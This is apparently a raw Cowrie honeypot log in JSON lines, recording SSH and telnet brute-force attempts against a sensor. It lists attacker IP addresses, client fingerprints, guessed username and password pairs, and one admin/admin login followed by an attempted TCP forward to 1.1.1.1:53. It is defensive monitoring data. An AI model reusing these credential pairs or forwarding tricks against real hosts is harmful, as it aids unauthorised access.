{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:47.520582Z","src_ip":"59.152.168.184","session":"a2a8bd19613f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:47.730085Z","src_ip":"59.152.168.184","session":"a2a8bd19613f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apples","message":"login attempt [root/apples] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:48.604069Z","src_ip":"59.152.168.184","session":"a2a8bd19613f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a599cabad4b0","protocol":"ssh","message":"New connection: 87.251.79.125:40894 (10.17.0.5:22) [session: a599cabad4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:49.524316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:49.528221Z","src_ip":"87.251.79.125","session":"a599cabad4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:49.598474Z","src_ip":"87.251.79.125","session":"a599cabad4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfycfysx","message":"login attempt [root/cfycfysx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:49.811314Z","src_ip":"87.251.79.125","session":"a599cabad4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:49.815965Z","src_ip":"59.152.168.184","session":"a2a8bd19613f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:50.881320Z","src_ip":"87.251.79.125","session":"a599cabad4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.18714141845703,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:50.884438Z","src_ip":"170.64.224.25","session":"db7d6ffbc295","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:56.389689Z","src_ip":"8.210.75.243","session":"046c90c55655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53608,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd7bd878af60","protocol":"telnet","message":"New connection: 170.64.224.25:53608 (159.203.135.109:23) [session: dd7bd878af60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:59.416468Z"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:08.773795Z","src_ip":"8.210.75.243","session":"ce7f0ff30c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47018,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5829cd709b","protocol":"ssh","message":"New connection: 89.223.69.22:47018 (10.17.0.5:22) [session: 5f5829cd709b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:13.407347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:13.410906Z","src_ip":"89.223.69.22","session":"5f5829cd709b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:13.519121Z","src_ip":"89.223.69.22","session":"5f5829cd709b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cbvgcjys","message":"login attempt [root/cbvgcjys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:13.848094Z","src_ip":"89.223.69.22","session":"5f5829cd709b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:14.961222Z","src_ip":"89.223.69.22","session":"5f5829cd709b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":51106,"dst_ip":"159.203.135.109","dst_port":22,"session":"849ec447e817","protocol":"ssh","message":"New connection: 162.215.213.210:51106 (159.203.135.109:22) [session: 849ec447e817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:25.398820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:25.402980Z","src_ip":"162.215.213.210","session":"849ec447e817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:25.494220Z","src_ip":"162.215.213.210","session":"849ec447e817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uni","password":"uni123","message":"login attempt [uni/uni123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:25.762279Z","src_ip":"162.215.213.210","session":"849ec447e817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.0","message":"Connection lost after 44.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:27.450441Z","src_ip":"8.210.75.243","session":"ce7f0ff30c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:28.324130Z","src_ip":"162.215.213.210","session":"849ec447e817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45340,"dst_ip":"159.203.135.109","dst_port":22,"session":"a90468634428","protocol":"ssh","message":"New connection: 103.77.242.62:45340 (159.203.135.109:22) [session: a90468634428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:39.658044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:39.662003Z","src_ip":"103.77.242.62","session":"a90468634428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:39.900539Z","src_ip":"103.77.242.62","session":"a90468634428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31031994","message":"login attempt [root/31031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:40.618762Z","src_ip":"103.77.242.62","session":"a90468634428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:41.860206Z","src_ip":"103.77.242.62","session":"a90468634428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53554,"dst_ip":"10.17.0.5","dst_port":22,"session":"084f939d3503","protocol":"ssh","message":"New connection: 193.37.70.224:53554 (10.17.0.5:22) [session: 084f939d3503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:49.033467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:49.036966Z","src_ip":"193.37.70.224","session":"084f939d3503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:49.122044Z","src_ip":"193.37.70.224","session":"084f939d3503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121990","message":"login attempt [root/121990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:49.373921Z","src_ip":"193.37.70.224","session":"084f939d3503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:50.460073Z","src_ip":"193.37.70.224","session":"084f939d3503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9607c4241b","protocol":"ssh","message":"New connection: 8.210.75.243:36376 (10.17.0.5:22) [session: 9b9607c4241b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:58.659364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:34:58.664044Z","src_ip":"8.210.75.243","session":"9b9607c4241b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:01.020241Z","src_ip":"8.210.75.243","session":"b31895b36366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.829993724823,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:01.246330Z","src_ip":"170.64.224.25","session":"dd7bd878af60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":41248,"dst_ip":"159.203.135.109","dst_port":22,"session":"5efaebc80bbc","protocol":"ssh","message":"New connection: 176.53.159.196:41248 (159.203.135.109:22) [session: 5efaebc80bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:07.734807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:07.738034Z","src_ip":"176.53.159.196","session":"5efaebc80bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:07.841850Z","src_ip":"176.53.159.196","session":"5efaebc80bbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:08.146458Z","src_ip":"176.53.159.196","session":"5efaebc80bbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:08.249341Z","session":"5efaebc80bbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:08.351510Z","src_ip":"176.53.159.196","session":"5efaebc80bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:08.455574Z","src_ip":"176.53.159.196","session":"5efaebc80bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42898,"dst_ip":"159.203.135.109","dst_port":23,"session":"0defbff0f5bb","protocol":"telnet","message":"New connection: 170.64.224.25:42898 (159.203.135.109:23) [session: 0defbff0f5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:15.513797Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:21.507624Z","src_ip":"8.210.75.243","session":"90846c70edc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48432,"dst_ip":"10.17.0.5","dst_port":22,"session":"db4673694579","protocol":"ssh","message":"New connection: 8.210.75.243:48432 (10.17.0.5:22) [session: db4673694579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:24.391904Z"}
